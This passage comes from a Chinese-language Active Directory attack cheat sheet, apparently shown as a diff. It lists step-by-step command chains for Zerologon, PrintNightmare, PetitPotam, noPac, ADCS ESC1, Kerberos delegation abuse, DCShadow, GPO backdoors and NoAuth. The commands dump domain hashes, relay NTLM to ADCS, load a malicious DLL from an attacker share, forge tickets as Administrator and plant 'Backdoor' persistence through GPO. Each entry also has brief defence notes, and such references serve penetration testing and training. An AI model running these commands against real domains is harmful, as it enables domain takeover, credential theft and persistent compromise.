python zerologon_exploit.py DC_NAME DC_IP
|
|
187
|
+
将DC密码置空
|
|
188
|
+
```
|
|
189
|
+
**语法解析:**
|
|
190
|
+
- `zerologon_exploit.py` — 利用脚本 _keyword_
|
|
191
|
+
- `DC_NAME` — 域控制器名称 _keyword_
|
|
192
|
+
|
|
193
|
+
**导出哈希**
|
|
194
|
+
> 导出哈希
|
|
195
|
+
_platform: linux_
|
|
196
|
+
```
|
|
197
|
+
secretsdump.py -just-dc -no-pass DOMAIN/DC_NAME$@DC_IP
|
|
198
|
+
导出域内所有哈希
|
|
199
|
+
```
|
|
200
|
+
|
|
201
|
+
**恢复密码**
|
|
202
|
+
> 恢复密码
|
|
203
|
+
_platform: linux_
|
|
204
|
+
```
|
|
205
|
+
python zerologon_restore.py DC_NAME DC_IP ORIGINAL_NTLM
|
|
206
|
+
恢复域控密码避免破坏
|
|
207
|
+
```
|
|
208
|
+
|
|
209
|
+
|
|
210
|
+
**概述:** Zerologon可重置域控制器密码为空。
|
|
211
|
+
|
|
212
|
+
**漏洞原理:** Netlogon协议加密缺陷。
|
|
213
|
+
|
|
214
|
+
**利用方法:** 利用流程:1) 检测漏洞 2) 重置密码 3) 导出哈希 4) 恢复密码
|
|
215
|
+
|
|
216
|
+
**防御措施:** 防御措施:1) 安装补丁 2) 强制安全RPC 3) 监控异常登录
|
|
217
|
+
|
|
218
|
+
---
|
|
219
|
+
|
|
220
|
+
### PrintNightmare攻击 `printnightmare`
|
|
221
|
+
_CVE-2021-34527 打印服务漏洞_
|
|
222
|
+
子类:**PrintNightmare** · tags: `printnightmare` `cve-2021-34527` `rce`
|
|
223
|
+
|
|
224
|
+
**前置条件:**
|
|
225
|
+
- 可访问打印服务RPC
|
|
226
|
+
|
|
227
|
+
**攻击链:**
|
|
228
|
+
|
|
229
|
+
**检测漏洞**
|
|
230
|
+
> 检测打印服务
|
|
231
|
+
_platform: linux_
|
|
232
|
+
```
|
|
233
|
+
rpcdump.py @DC_IP | grep MS-RPRN
|
|
234
|
+
检查打印服务是否可用
|
|
235
|
+
```
|
|
236
|
+
|
|
237
|
+
**利用漏洞**
|
|
238
|
+
> 利用漏洞
|
|
239
|
+
_platform: linux_
|
|
240
|
+
```
|
|
241
|
+
python CVE-2021-34527.py -target DC_IP -payload DLL_PATH
|
|
242
|
+
加载恶意DLL获取SYSTEM权限
|
|
243
|
+
```
|
|
244
|
+
**语法解析:**
|
|
245
|
+
- `-target` — 目标IP _parameter_
|
|
246
|
+
- `-payload` — 恶意DLL路径 _parameter_
|
|
247
|
+
|
|
248
|
+
**Impacket利用**
|
|
249
|
+
> 使用Impacket
|
|
250
|
+
_platform: linux_
|
|
251
|
+
```
|
|
252
|
+
python dementor.py -d domain -u user -p pass \\attacker\share DC_IP
|
|
253
|
+
触发加载远程DLL
|
|
254
|
+
```
|
|
255
|
+
|
|
256
|
+
|
|
257
|
+
**概述:** PrintNightmare可远程执行代码。
|
|
258
|
+
|
|
259
|
+
**漏洞原理:** 打印服务存在远程代码执行漏洞。
|
|
260
|
+
|
|
261
|
+
**利用方法:** 利用流程:1) 检测打印服务 2) 构造恶意DLL 3) 触发加载
|
|
262
|
+
|
|
263
|
+
**防御措施:** 防御措施:1) 安装补丁 2) 禁用打印服务 3) 网络隔离
|
|
264
|
+
|
|
265
|
+
---
|
|
266
|
+
|
|
267
|
+
### PetitPotam攻击 `petitpotam`
|
|
268
|
+
_CVE-2021-36942 强制认证攻击_
|
|
269
|
+
子类:**PetitPotam** · tags: `petitpotam` `cve-2021-36942` `relay`
|
|
270
|
+
|
|
271
|
+
**前置条件:**
|
|
272
|
+
- 可访问EFSRPC接口
|
|
273
|
+
|
|
274
|
+
**攻击链:**
|
|
275
|
+
|
|
276
|
+
**启动中继**
|
|
277
|
+
> 启动NTLM中继
|
|
278
|
+
_platform: linux_
|
|
279
|
+
```
|
|
280
|
+
python ntlmrelayx.py -t ldap://DC_IP -smb2support --adcs
|
|
281
|
+
设置NTLM中继到ADCS
|
|
282
|
+
```
|
|
283
|
+
|
|
284
|
+
**触发认证**
|
|
285
|
+
> 触发认证
|
|
286
|
+
_platform: linux_
|
|
287
|
+
```
|
|
288
|
+
python petitpotam.py -d domain -u user -p pass attacker_ip DC_IP
|
|
289
|
+
强制DC向攻击者认证
|
|
290
|
+
```
|
|
291
|
+
**语法解析:**
|
|
292
|
+
- `petitpotam.py` — PetitPotam利用脚本 _keyword_
|
|
293
|
+
- `attacker_ip` — 中继服务器IP _keyword_
|
|
294
|
+
|
|
295
|
+
**获取证书**
|
|
296
|
+
> 获取证书
|
|
297
|
+
_platform: linux_
|
|
298
|
+
```
|
|
299
|
+
中继成功后获取用户证书
|
|
300
|
+
使用证书进行Pass-the-Cert
|
|
301
|
+
```
|
|
302
|
+
|
|
303
|
+
|
|
304
|
+
**概述:** PetitPotam可强制机器账户认证。
|
|
305
|
+
|
|
306
|
+
**漏洞原理:** EFSRPC接口可被滥用。
|
|
307
|
+
|
|
308
|
+
**利用方法:** 利用流程:1) 启动中继 2) 触发认证 3) 中继到ADCS
|
|
309
|
+
|
|
310
|
+
**防御措施:** 防御措施:1) 安装补丁 2) 禁用EFSRPC 3) 保护ADCS
|
|
311
|
+
|
|
312
|
+
---
|
|
313
|
+
|
|
314
|
+
### noPac/SAMAccountName攻击 `samaccountname`
|
|
315
|
+
_CVE-2021-42278/CVE-2021-42287 域提权_
|
|
316
|
+
子类:**noPac** · tags: `nopac` `cve-2021-42278` `privesc`
|
|
317
|
+
|
|
318
|
+
**前置条件:**
|
|
319
|
+
- 普通域用户权限
|
|
320
|
+
|
|
321
|
+
**攻击链:**
|
|
322
|
+
|
|
323
|
+
**检测漏洞**
|
|
324
|
+
> 检测漏洞
|
|
325
|
+
_platform: linux_
|
|
326
|
+
```
|
|
327
|
+
python noPac.py domain/user:password -dc-ip DC_IP -debug
|
|
328
|
+
检测是否存在漏洞
|
|
329
|
+
```
|
|
330
|
+
|
|
331
|
+
**利用漏洞**
|
|
332
|
+
> 利用漏洞
|
|
333
|
+
_platform: linux_
|
|
334
|
+
```
|
|
335
|
+
python noPac.py domain/user:password -dc-ip DC_IP -dc-host DC_NAME -shell
|
|
336
|
+
获取域管权限
|
|
337
|
+
```
|
|
338
|
+
**语法解析:**
|
|
339
|
+
- `-dc-ip` — 域控制器IP _parameter_
|
|
340
|
+
- `-shell` — 获取Shell _parameter_
|
|
341
|
+
|
|
342
|
+
**攻击原理**
|
|
343
|
+
> 攻击原理
|
|
344
|
+
```
|
|
345
|
+
1. 创建机器账户(名称类似DC)
|
|
346
|
+
2. 清除SPN
|
|
347
|
+
3. 请求TGT
|
|
348
|
+
4. 删除机器账户
|
|
349
|
+
5. 获取域管TGT
|
|
350
|
+
```
|
|
351
|
+
|
|
352
|
+
|
|
353
|
+
**概述:** noPac可从普通用户提权到域管理员。
|
|
354
|
+
|
|
355
|
+
**漏洞原理:** SAM-Account-Name欺骗和PAC验证缺陷。
|
|
356
|
+
|
|
357
|
+
**利用方法:** 利用流程:1) 创建机器账户 2) 清除SPN 3) 获取域管TGT
|
|
358
|
+
|
|
359
|
+
**防御措施:** 防御措施:1) 安装补丁 2) 限制机器账户创建 3) 监控异常账户
|
|
360
|
+
|
|
361
|
+
---
|
|
362
|
+
|
|
363
|
+
### ADCS滥用攻击 `adcs-abuse`
|
|
364
|
+
_Active Directory证书服务滥用_
|
|
365
|
+
子类:**ADCS** · tags: `adcs` `certificate` `domain`
|
|
366
|
+
|
|
367
|
+
**前置条件:**
|
|
368
|
+
- ADCS服务可访问
|
|
369
|
+
|
|
370
|
+
**攻击链:**
|
|
371
|
+
|
|
372
|
+
**枚举ADCS**
|
|
373
|
+
> 枚举ADCS配置
|
|
374
|
+
_platform: linux_
|
|
375
|
+
```
|
|
376
|
+
certipy find -u user@domain -p password -dc-ip DC_IP
|
|
377
|
+
枚举证书模板
|
|
378
|
+
```
|
|
379
|
+
|
|
380
|
+
**请求用户证书**
|
|
381
|
+
> 请求证书
|
|
382
|
+
_platform: linux_
|
|
383
|
+
```
|
|
384
|
+
certipy req -u user@domain -p password -ca CA_NAME -template User
|
|
385
|
+
请求用户证书
|
|
386
|
+
```
|
|
387
|
+
**语法解析:**
|
|
388
|
+
- `certipy req` — 请求证书命令 _keyword_
|
|
389
|
+
- `-ca` — 证书颁发机构 _parameter_
|
|
390
|
+
- `-template` — 证书模板 _parameter_
|
|
391
|
+
|
|
392
|
+
**Pass-the-Cert**
|
|
393
|
+
> 使用证书认证
|
|
394
|
+
_platform: linux_
|
|
395
|
+
```
|
|
396
|
+
certipy auth -pfx user.pfx -dc-ip DC_IP
|
|
397
|
+
使用证书获取TGT
|
|
398
|
+
```
|
|
399
|
+
|
|
400
|
+
**Rubeus请求**
|
|
401
|
+
> Rubeus利用
|
|
402
|
+
_platform: windows_
|
|
403
|
+
```
|
|
404
|
+
Rubeus.exe asktgt /user:target /certificate:cert.pfx /ptt
|
|
405
|
+
使用Rubeus请求TGT
|
|
406
|
+
```
|
|
407
|
+
|
|
408
|
+
|
|
409
|
+
**概述:** ADCS可被滥用获取用户证书进行认证。
|
|
410
|
+
|
|
411
|
+
**漏洞原理:** 证书模板配置不当。
|
|
412
|
+
|
|
413
|
+
**利用方法:** 利用流程:1) 枚举ADCS 2) 请求证书 3) Pass-the-Cert
|
|
414
|
+
|
|
415
|
+
**防御措施:** 防御措施:1) 审计证书模板 2) 限制模板权限 3) 监控证书请求
|
|
416
|
+
|
|
417
|
+
---
|
|
418
|
+
|
|
419
|
+
### ADCS ESC1漏洞 `adcs-esc1`
|
|
420
|
+
_证书模板ESC1滥用_
|
|
421
|
+
子类:**ADCS** · tags: `adcs` `esc1` `certificate`
|
|
422
|
+
|
|
423
|
+
**前置条件:**
|
|
424
|
+
- 存在ESC1配置的模板
|
|
425
|
+
|
|
426
|
+
**攻击链:**
|
|
427
|
+
|
|
428
|
+
**识别ESC1**
|
|
429
|
+
> 识别漏洞模板
|
|
430
|
+
_platform: linux_
|
|
431
|
+
```
|
|
432
|
+
certipy find -u user@domain -p password -vulnerable
|
|
433
|
+
查找ESC1漏洞模板
|
|
434
|
+
```
|
|
435
|
+
|
|
436
|
+
**利用ESC1**
|
|
437
|
+
> 请求域管证书
|
|
438
|
+
_platform: linux_
|
|
439
|
+
```
|
|
440
|
+
certipy req -u user@domain -p password -ca CA_NAME -template ESC1_TEMPLATE -alt admin@domain
|
|
441
|
+
指定SAN为域管
|
|
442
|
+
```
|
|
443
|
+
**语法解析:**
|
|
444
|
+
- `-alt` — 指定Subject Alternative Name _parameter_
|
|
445
|
+
- `admin@domain` — 目标用户UPN _value_
|
|
446
|
+
|
|
447
|
+
**认证为域管**
|
|
448
|
+
> 认证为域管
|
|
449
|
+
_platform: linux_
|
|
450
|
+
```
|
|
451
|
+
certipy auth -pfx admin.pfx -dc-ip DC_IP
|
|
452
|
+
使用证书认证为域管
|
|
453
|
+
```
|
|
454
|
+
|
|
455
|
+
|
|
456
|
+
**概述:** ESC1允许在证书请求中指定任意SAN。
|
|
457
|
+
|
|
458
|
+
**漏洞原理:** 模板允许用户指定SAN且可用于客户端认证。
|
|
459
|
+
|
|
460
|
+
**利用方法:** 利用流程:1) 找到ESC1模板 2) 指定域管SAN 3) 获取域管证书
|
|
461
|
+
|
|
462
|
+
**防御措施:** 防御措施:1) 禁用SAN指定 2) 限制模板权限 3) 监控证书请求
|
|
463
|
+
|
|
464
|
+
---
|
|
465
|
+
|
|
466
|
+
### 约束委派攻击 `constrained-delegation`
|
|
467
|
+
_利用约束委派进行横向移动_
|
|
468
|
+
子类:**委派攻击** · tags: `delegation` `constrained` `kerberos`
|
|
469
|
+
|
|
470
|
+
**前置条件:**
|
|
471
|
+
- 存在约束委派配置的账户
|
|
472
|
+
|
|
473
|
+
**攻击链:**
|
|
474
|
+
|
|
475
|
+
**查找约束委派**
|
|
476
|
+
> 查找约束委派账户
|
|
477
|
+
_platform: windows_
|
|
478
|
+
```
|
|
479
|
+
Get-ADUser -Filter {TrustedToAuthForDelegation -eq $true} -Properties TrustedToAuthForDelegation
|
|
480
|
+
或
|
|
481
|
+
bloodhound查询
|
|
482
|
+
```
|
|
483
|
+
|
|
484
|
+
**获取服务票据**
|
|
485
|
+
> S4U2Self + S4U2Proxy
|
|
486
|
+
_platform: windows_
|
|
487
|
+
```
|
|
488
|
+
Rubeus.exe s4u /user:SERVICE_ACCOUNT$ /rc4:HASH /msdsspn:CIFS/target.domain.com /impersonateuser:Administrator
|
|
489
|
+
获取域管的服务票据
|
|
490
|
+
```
|
|
491
|
+
**语法解析:**
|
|
492
|
+
- `s4u` — S4U扩展 _keyword_
|
|
493
|
+
- `/impersonateuser` — 模拟的用户 _parameter_
|
|
494
|
+
- `/msdsspn` — 目标服务SPN _parameter_
|
|
495
|
+
|
|
496
|
+
**使用票据**
|
|
497
|
+
> 注入票据
|
|
498
|
+
_platform: windows_
|
|
499
|
+
```
|
|
500
|
+
Rubeus.exe ptt /ticket:BASE64_TICKET
|
|
501
|
+
注入票据并访问服务
|
|
502
|
+
```
|
|
503
|
+
|
|
504
|
+
|
|
505
|
+
**概述:** 约束委派允许账户模拟用户访问特定服务。
|
|
506
|
+
|
|
507
|
+
**漏洞原理:** 约束委派配置可被滥用。
|
|
508
|
+
|
|
509
|
+
**利用方法:** 利用流程:1) 找到委派账户 2) S4U获取票据 3) 访问目标服务
|
|
510
|
+
|
|
511
|
+
**防御措施:** 防御措施:1) 审计委派配置 2) 使用受保护用户组 3) 监控S4U请求
|
|
512
|
+
|
|
513
|
+
---
|
|
514
|
+
|
|
515
|
+
### 基于资源的约束委派 `resource-delegation`
|
|
516
|
+
_利用RBCD进行权限提升_
|
|
517
|
+
子类:**委派攻击** · tags: `rbcd` `delegation` `kerberos`
|
|
518
|
+
|
|
519
|
+
**前置条件:**
|
|
520
|
+
- 对目标对象有WriteDACL权限
|
|
521
|
+
|
|
522
|
+
**攻击链:**
|
|
523
|
+
|
|
524
|
+
**创建机器账户**
|
|
525
|
+
> 创建机器账户
|
|
526
|
+
_platform: windows_
|
|
527
|
+
```
|
|
528
|
+
New-MachineAccount -MachineAccount FAKECOMPUTER -Password $(ConvertTo-SecureString "password" -AsPlainText -Force)
|
|
529
|
+
创建新的机器账户
|
|
530
|
+
```
|
|
531
|
+
|
|
532
|
+
**配置RBCD**
|
|
533
|
+
> 配置RBCD
|
|
534
|
+
_platform: windows_
|
|
535
|
+
```
|
|
536
|
+
Set-ADComputer -Identity TARGET_COMPUTER -PrincipalsAllowedToDelegateToAccount FAKECOMPUTER$
|
|
537
|
+
设置委派关系
|
|
538
|
+
```
|
|
539
|
+
**语法解析:**
|
|
540
|
+
- `PrincipalsAllowedToDelegateToAccount` — 允许委派的账户 _keyword_
|
|
541
|
+
|
|
542
|
+
**利用RBCD**
|
|
543
|
+
> 利用RBCD
|
|
544
|
+
_platform: windows_
|
|
545
|
+
```
|
|
546
|
+
Rubeus.exe s4u /user:FAKECOMPUTER$ /rc4:HASH /impersonateuser:Administrator /msdsspn:CIFS/target.domain.com
|
|
547
|
+
获取域管票据
|
|
548
|
+
```
|
|
549
|
+
|
|
550
|
+
|
|
551
|
+
**概述:** RBCD允许从目标对象配置委派关系。
|
|
552
|
+
|
|
553
|
+
**漏洞原理:** 对对象有WriteDACL权限可配置RBCD。
|
|
554
|
+
|
|
555
|
+
**利用方法:** 利用流程:1) 创建机器账户 2) 配置RBCD 3) 获取高权限票据
|
|
556
|
+
|
|
557
|
+
**防御措施:** 防御措施:1) 审计ACL权限 2) 保护关键对象 3) 监控RBCD配置
|
|
558
|
+
|
|
559
|
+
---
|
|
560
|
+
|
|
561
|
+
### DCShadow攻击 `dcshadow-attack`
|
|
562
|
+
_伪造域控制器注入数据_
|
|
563
|
+
子类:**DCShadow** · tags: `dcshadow` `domain` `injection`
|
|
564
|
+
|
|
565
|
+
**前置条件:**
|
|
566
|
+
- 域管理员权限
|
|
567
|
+
- 可注册新DC
|
|
568
|
+
|
|
569
|
+
**攻击链:**
|
|
570
|
+
|
|
571
|
+
**注册伪造DC**
|
|
572
|
+
> 注册伪造DC
|
|
573
|
+
_platform: windows_
|
|
574
|
+
```
|
|
575
|
+
mimikatz # lsadump::dcshadow /object:CN=Target,CN=Users,DC=domain,DC=com /attribute:primaryGroupID /value:519
|
|
576
|
+
注册伪造DC并修改对象属性
|
|
577
|
+
```
|
|
578
|
+
**语法解析:**
|
|
579
|
+
- `lsadump::dcshadow` — DCShadow模块 _command_
|
|
580
|
+
- `/object` — 目标对象DN _parameter_
|
|
581
|
+
- `/attribute` — 要修改的属性 _parameter_
|
|
582
|
+
|
|
583
|
+
**推送更改**
|
|
584
|
+
> 推送更改
|
|
585
|
+
_platform: windows_
|
|
586
|
+
```
|
|
587
|
+
在另一个终端:
|
|
588
|
+
mimikatz # lsadump::dcshadow /push
|
|
589
|
+
推送更改到真实DC
|
|
590
|
+
```
|
|
591
|
+
|
|
592
|
+
**常见利用**
|
|
593
|
+
> 常见利用场景
|
|
594
|
+
_platform: windows_
|
|
595
|
+
```
|
|
596
|
+
修改用户组:
|
|
597
|
+
/object:CN=Target,CN=Users,DC=domain,DC=com /attribute:primaryGroupID /value:519
|
|
598
|
+
添加SID History:
|
|
599
|
+
/attribute:sidHistory /value:S-1-5-21-xxx-500
|
|
600
|
+
```
|
|
601
|
+
|
|
602
|
+
|
|
603
|
+
**概述:** DCShadow可伪造DC向真实DC注入数据。
|
|
604
|
+
|
|
605
|
+
**漏洞原理:** AD复制机制可被滥用。
|
|
606
|
+
|
|
607
|
+
**利用方法:** 利用流程:1) 获取域管权限 2) 注册伪造DC 3) 推送恶意数据
|
|
608
|
+
|
|
609
|
+
**防御措施:** 防御措施:1) 监控DC注册 2) 审计复制事件 3) 保护域管账户
|
|
610
|
+
|
|
611
|
+
---
|
|
612
|
+
|
|
613
|
+
### 组策略滥用 `group-policy-abuse`
|
|
614
|
+
_滥用组策略进行横向移动_
|
|
615
|
+
子类:**组策略** · tags: `gpo` `group-policy` `domain`
|
|
616
|
+
|
|
617
|
+
**前置条件:**
|
|
618
|
+
- GPO编辑权限
|
|
619
|
+
|
|
620
|
+
**攻击链:**
|
|
621
|
+
|
|
622
|
+
**查找可编辑GPO**
|
|
623
|
+
> 查找可编辑GPO
|
|
624
|
+
_platform: windows_
|
|
625
|
+
```
|
|
626
|
+
Get-GPO -All | Where-Object { $_ | Get-GPPermission -TargetType User -TargetName "Domain Users" -PermissionLevel GpoEdit }
|
|
627
|
+
查找Domain Users可编辑的GPO
|
|
628
|
+
```
|
|
629
|
+
|
|
630
|
+
**添加计划任务**
|
|
631
|
+
> 添加计划任务
|
|
632
|
+
_platform: windows_
|
|
633
|
+
```
|
|
634
|
+
New-GPOImmediateTask -TaskName "Backdoor" -Command "cmd.exe" -Arguments "/c calc.exe" -GPODisplayName "VULN_GPO"
|
|
635
|
+
添加立即执行的计划任务
|
|
636
|
+
```
|
|
637
|
+
**语法解析:**
|
|
638
|
+
- `New-GPOImmediateTask` — 创建立即任务 _keyword_
|
|
639
|
+
- `-GPODisplayName` — 目标GPO名称 _parameter_
|
|
640
|
+
|
|
641
|
+
**添加注册表项**
|
|
642
|
+
> 添加注册表启动项
|
|
643
|
+
_platform: windows_
|
|
644
|
+
```
|
|
645
|
+
Set-GPPrefRegistryValue -Name "VULN_GPO" -Context Computer -Action Create -Key "HKLM\Software\Microsoft\Windows\CurrentVersion\Run" -ValueName "Backdoor" -Value "C:\backdoor.exe"
|
|
646
|
+
```
|
|
647
|
+
|
|
648
|
+
|
|
649
|
+
**概述:** 组策略可被滥用在目标机器执行代码。
|
|
650
|
+
|
|
651
|
+
**漏洞原理:** 用户对GPO有编辑权限。
|
|
652
|
+
|
|
653
|
+
**利用方法:** 利用流程:1) 找到可编辑GPO 2) 添加恶意配置 3) 等待应用
|
|
654
|
+
|
|
655
|
+
**防御措施:** 防御措施:1) 审计GPO权限 2) 监控GPO变更 3) 限制编辑权限
|
|
656
|
+
|
|
657
|
+
---
|
|
658
|
+
|
|
659
|
+
### SAM The Admin攻击 `sam-the-admin`
|
|
660
|
+
_CVE-2021-42278/CVE-2021-42287域提权_
|
|
661
|
+
子类:**SAM The Admin** · tags: `ad` `cve-2021-42278` `privilege`
|
|
662
|
+
|
|
663
|
+
**前置条件:**
|
|
664
|
+
- 域用户权限
|
|
665
|
+
- 域控制器存在漏洞
|
|
666
|
+
|
|
667
|
+
**攻击链:**
|
|
668
|
+
|
|
669
|
+
**检测漏洞**
|
|
670
|
+
> 检测漏洞
|
|
671
|
+
_platform: linux_
|
|
672
|
+
```
|
|
673
|
+
python noPac.py domain.com/user:password -dc-ip DC_IP
|
|
674
|
+
检测是否存在漏洞
|
|
675
|
+
```
|
|
676
|
+
|
|
677
|
+
**利用漏洞**
|
|
678
|
+
> 获取域控权限
|
|
679
|
+
_platform: linux_
|
|
680
|
+
```
|
|
681
|
+
python noPac.py domain.com/user:password -dc-ip DC_IP -dc-host DC_NAME -shell
|
|
682
|
+
获取SYSTEM Shell
|
|
683
|
+
```
|
|
684
|
+
**语法解析:**
|
|
685
|
+
- `CVE-2021-42278` — sAMAccountName欺骗 _keyword_
|
|
686
|
+
- `CVE-2021-42287` — Kerberos PAC验证绕过 _keyword_
|
|
687
|
+
|
|
688
|
+
**执行命令**
|
|
689
|
+
> 执行命令
|
|
690
|
+
_platform: linux_
|
|
691
|
+
```
|
|
692
|
+
python noPac.py domain.com/user:password -dc-ip DC_IP -dc-host DC_NAME -command "whoami"
|
|
693
|
+
```
|
|
694
|
+
|
|
695
|
+
|
|
696
|
+
**概述:** SAM The Admin利用sAMAccountName欺骗和PAC验证绕过提权。
|
|
697
|
+
|
|
698
|
+
**漏洞原理:** 域控制器未安装相关补丁。
|
|
699
|
+
|
|
700
|
+
**利用方法:** 利用流程:1) 创建机器账户 2) 修改sAMAccountName 3) 请求TGT 4) 删除账户 5) 请求S4U2Self
|
|
701
|
+
|
|
702
|
+
**防御措施:** 防御措施:1) 安装KB5008102补丁 2) 监控异常账户创建 3) 审计sAMAccountName修改
|
|
703
|
+
|
|
704
|
+
---
|
|
705
|
+
|
|
706
|
+
### NoAuth攻击 `noauth`
|
|
707
|
+
_CVE-2022-33679 Kerberos认证绕过_
|
|
708
|
+
子类:**NoAuth** · tags: `ad` `cve-2022-33679` `kerberos`
|
|
709
|
+
|
|
710
|
+
**前置条件:**
|
|
711
|
+
- 域用户权限
|
|
712
|
+
- 目标账户有RC4密钥
|
|
713
|
+
|
|
714
|
+
**攻击链:**
|
|
715
|
+
|
|
716
|
+
**检测漏洞**
|
|
717
|
+
> 检测漏洞
|
|
718
|
+
_platform: linux_
|
|
719
|
+
```
|
|
720
|
+
python NoAuth.py domain.com/user:password -dc-ip DC_IP -target administrator
|
|
721
|
+
检测是否存在漏洞
|
|
722
|
+
```
|
|
723
|
+
|
|
724
|
+
**利用漏洞**
|
|
725
|
+
> 获取TGT
|
|
726
|
+
_platform: linux_
|
|
727
|
+
```
|
|
728
|
+
python NoAuth.py domain.com/user:password -dc-ip DC_IP -target administrator
|
|
729
|
+
获取目标用户TGT
|
|
730
|
+
```
|
|
731
|
+
**语法解析:**
|
|
732
|
+
- `CVE-2022-33679` — Kerberos RC4弱验证 _keyword_
|
|
733
|
+
- `RC4密钥` — 利用RC4加密类型绕过验证 _keyword_
|
|
734
|
+
|
|
735
|
+
**使用TGT**
|
|
736
|
+
> 使用获取的TGT
|
|
737
|
+
_platform: linux_
|
|
738
|
+
```
|
|
739
|
+
设置KRB5CCNAME环境变量
|
|
740
|
+
export KRB5CCNAME=administrator.ccache
|
|
741
|
+
使用psexec.py等工具
|
|
742
|
+
```
|
|
743
|
+
|
|
744
|
+
|
|
745
|
+
**概述:** NoAuth利用Kerberos RC4加密的验证缺陷。
|
|
746
|
+
|
|
747
|
+
**漏洞原理:** Kerberos RC4加密验证存在缺陷。
|
|
748
|
+
|
|
749
|
+
**利用方法:** 利用流程:1) 检测目标RC4密钥 2) 构造恶意请求 3) 获取TGT
|
|
750
|
+
|
|
751
|
+
**防御措施:** 防御措施:1) 安装补丁 2) 禁用RC4加密 3) 强制AES加密
|
|
752
|
+
|
|
753
|
+
---
|